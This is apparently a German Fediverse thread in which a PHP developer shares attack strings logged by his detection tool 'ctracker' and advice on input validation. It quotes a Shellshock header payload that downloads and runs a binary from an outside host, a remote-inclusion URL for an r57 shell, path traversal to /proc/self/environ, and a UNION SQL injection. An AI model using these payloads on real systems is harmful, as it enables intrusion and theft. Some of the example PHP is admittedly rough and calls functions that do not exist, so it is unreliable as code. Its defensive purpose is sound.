@lars @Tuxi ⁂ Es liegt meistens - ohne mit dem Finger auf die Entwickler zeigen zu wollen oder mich als schlauer, klueger oder besser darstellen zu wollen - an mangelnder Absicherung an GET-/POST-Parametern und/oder Kopfzeilen. Dagegen gab es mal eine kleine PHP-Software namens #ctracker , welche von www.cback.de urspruenglich entwickelt wurde. Ich hatte diese dann aufgegriffen, da noch sehr viele weitere Absicherungen fehlten und hatte sie dann auch massiv weiter entwickelt, inklusive Loggen von solchen Angriffen in der Datenbank. Die Software hat auch eine Teergrube dabei, was eigentlich nichts weiter ist als ein Aufruf von sleep(mt_rand(5,10); z.B. was bewirkt, dass das Script fuer 5 bis 10 Sekunden lang einfach nichts tut und dem Cracker (bitte nicht Hacker verwenden!) seine "Angriffswellen" etwas am vermiesen und ausbremsen ist.

Beispiele:

Klassischer Angriff auf GET-Parameter (dabei ist es vollkommen egal, wie der Parameter heist, 682 Seiten Eintraege):
module=http://example.foo/admin/imagen/r57.txt?

Das vom Cracker kontrollierte Script r57.txt soll eingebunden werden, nicht vom eigentlich Script angebotenes lokales "Modul". Hier habe ich wirklich eine sehr grosse Sammlung an IP-Adressen.

Kopfzeile fuer den User-Agent (Browserbezeichnung, Bezeichnung des Bots, ...) wurde angegriffen (IP-Adresse verfaelscht, 31 Seiten Eintraege):
() { :;}; /bin/bash -c \"curl -o /tmp/zmuie http://http://1.2.3.4/zmuie/zmuie;/usr/bin/wget http://http://1.2.3.4/zmuie/zmuie -O /tmp/zmuie;wget http://http://1.2.3.4/zmuie/zmuie -O /dev/shm/zmuie;chmod x /dev/shm/zmuie /tmp/zmuie;

Hier hat wer einen Remote-Code-Execusion-Angriff ausprobiert und das "zmuie", was er versucht hatte, auf meinen Server herunter zu laden ist vermutlich eine Hintertuer/Daemon, der dann einen Port oeffnet. Das http://http:// ist aber ungueltig. Einem Profi waere das nicht passiert, vermutlich war also ein ahnungsloses "Script-Kiddie" am Werk.

Entferntes Aufrufen von Methoden per POST-Daten (14 Seiten):

<?xml_version=\"1.0\" encoding=\"utf-8\" ?>
<methodCall>
<params>
<_filter><![CDATA[insert]]></_filter>
<mid><![CDATA[qna]]></mid>
<title><![CDATA[Awards]]></title>
<is_secret><![CDATA[]]></is_secret>
<allow_comment><![CDATA[]]></allow_comment>
<a....

Das kommt auch gerne viel vor, der hier gezeigte Angriff bezieht sich aber auf eine andere Software, die solch methodCall per POST-Daten zulaesst, was ein Sicherheitsrisiko ist.

Die angegeben Anzahl Seiten beziehen sich nicht auf den einzelnen Fall (wie oft dieser vorkommt), sondern wie oft z.B. die unveraenderten GET-Parameter und dann erkannten Angriffsmuster darin gefunden wurde. Das Script macht nichts weiter, als ein bekanntes Angriffsmuster gegen * auszutauschen und in eine lokale Variable das Ergebnis zu schreiben. Unterscheidet die sich vom Original, wurde ein Angriff erkannt.

GIT-URL: git://git.mxchange.org/ctracker.git

Klappt leider nicht mit vielen Fediversum-Software, da diese Webfinger-URLs erlauben, was eine URL als GET-Parameter sein kann und dann vom Script als Angriffsmuster erkannt und blockiert wird.

@Tuxi ⁂ @lars Noch ein typisches Beispiel gefunden (Anzeigen von eigentlich dem Angreifer nicht sicthbaren lokalen Dateien):
menue=../../../../../../../../../../../../../../../proc/self/environ%00

Hier versuchte der Angreifer aus dem DocumentRoot vom Apachen auszubrechen, um dann die Datei /proc/self/environ nachzuladen. Diese enthaelt die zum aktuellen Benutzer vorhandenen Umgebungsvariablen. Auch typische Ausleseversuche sind /etc/passwd (Benutzer und deren HOME-Pfaden), /etc/shadow (Passwortdatei aller Systembenutzer).

Wenn ich nach =http in der GET-Zeile suche, habe ich 76 Seiten Eintraege, Mit ../../ sind es 37 Seiten.

Auch das Varriationen vom genannte mit ....//....// gibt es. Was es bringen soll, weis der Angreifer wohl auch selber nicht, denn .... ist nichts gueltiges.

Nachladen von lokalen PHP-Scripten, die normalerweise - sehr beliebt - dem Administrator nur erlaubt sind, zu sehen/benutzen:
module=index&what=admin/includes/createemails.inc.php

Hier versucht der Angreifer mein Script mailer anzugreifen, der Parameter what ist hier typisch fuer meine Software und laedt das eigentliche Modul nach, Im Verzeichnis admin (so wird es natuerlich nicht geladen!) gibt es aber kein Verzeichnis include und auch nicht createemails.inc.php. Hier wollte er wohl ausprobieren, ob er fuer einen Spammer Spam-Mails mit meinem Script (+ IP-Adresse) versenden kann.

Auch Varriationen zu =http mit =ftp usw. gibt es.

Und natuerlich darf der Klassiker schlicht hin nicht fehlen, Die SQL-Injektion:
module=links&refid=2%20and%201=2%20union%20select%20CONCAT(0x27,0x7c,0x5f,0x7c),CONCAT(0x27,0x7c,0x5f,0x7c)%20/*

Ich denke, es sollte klar sein, was er mit dem Parameter refid - auch ein fuer mein Script typischer Parametername - machen wollte. Ich vermute, da man auch anstelle einer Nummer auch einen Nicknamen als "Referral-Id" angeben kann, wollte er hier ausprobieren, ob dies als "Nickname" durchgeht.

@Tuxi ⁂ @lars Was hier hilft, ist nicht meine gepachte Cracker Tracker, die vielleicht nur im ersten Moment. Sondern dass das Script besser abgesichert wird.

Beispiel refid erlaubt nur Zahlen:
<?php $refid = $_GET['refid'];

Und dann $refid ohne weitere Absicherung in den SQL-Befehl einbinden:
<?php $result = mysql_query("SELECT * FROM user WHERE refid=" . $refid . " LIMIT 1");

... und schon greift die SQL-Injektion perfekt. Was hier eher gemacht werden sollte (absolutes Minimum!):
<?php $code = (int) $_GET['refid'];

Dies ist ein Cast und wandelt die Zeichenkette aus dem GET-Parameter refid in ein Integer/Dezimalzahl um, Zeichenketten, wie UNION usw. fliegen dann raus. Aber wieso nicht staerker absichern und nur und auschliesslich dem Umwandeln vertrauen?

Besser und kombiniert geht es z.B. so:
<?php $result = mysql_query(sprintf("SELECT * FROM `user` WHERE `refid`=%d LIMIT 1", mysql_real_escape($_GET['refid']));

Hier verwende ich schon Backticks, die SQL-Spalten aus der Abfrage absichern und ich verwende eine Maske mit sprintf() und %d, was nur Dezimalzahlen durchlaesst.

Zeichenketten absichern geht auch, etwas weniger besser, da %s (=String=Zeichenkette) verwendet wird, aber immerhin mit htmlentities():
<?php $result = mysql_query(sprintf("SELECT * FROM `user` WHERE `username`='%s' LIMIT 1", mysql_real_escape(htmlentities($_GET['username'], ENT_QUOTES, 'utf-8'))));
Ich gehe hier wieder nicht auf Syntaxfehler usw. ein, sondern ich wollte nur bessere Absicherungen - gleiches gilt fuer Kopfzeilen, siehe oben - aufzeigen. Auch Kapslung und das zentrale Absichern von Parametern lasse ich hier bewusst weg.

Gleiches gilt fuer PHP-Scripte zum Nachladen:

<?php
// Parameter abgesichert annehmen:
$module = realpath(sprintf("%s/mod_%s.php", getConfig('base_path'), htmlentities($_GET['module'], ENT_QUOTES, 'utf-8')));

// Konnte die angegebene Datei lokal gefunden werden und ist sie lesbar?
if ($module === false || !file_exists($module) || !is_readable($module)) {
    // Fehlermodul angeben, hier kann der Angreifer erstmal nichts beeinflussen
    $module = sprintf("%s/mod_not_found.php", getConfig('base_path'));
}

Dann ist nachfolgender Befehl nicht unsicher:
<?php require $module;

Das realpath() ist alleine schon sehr gut, aber ein Absichern des GET-Parameters module mit Kodieren der Entitaeten macht es dem Angreifer noch komplexer, deine Seite anzugreifen.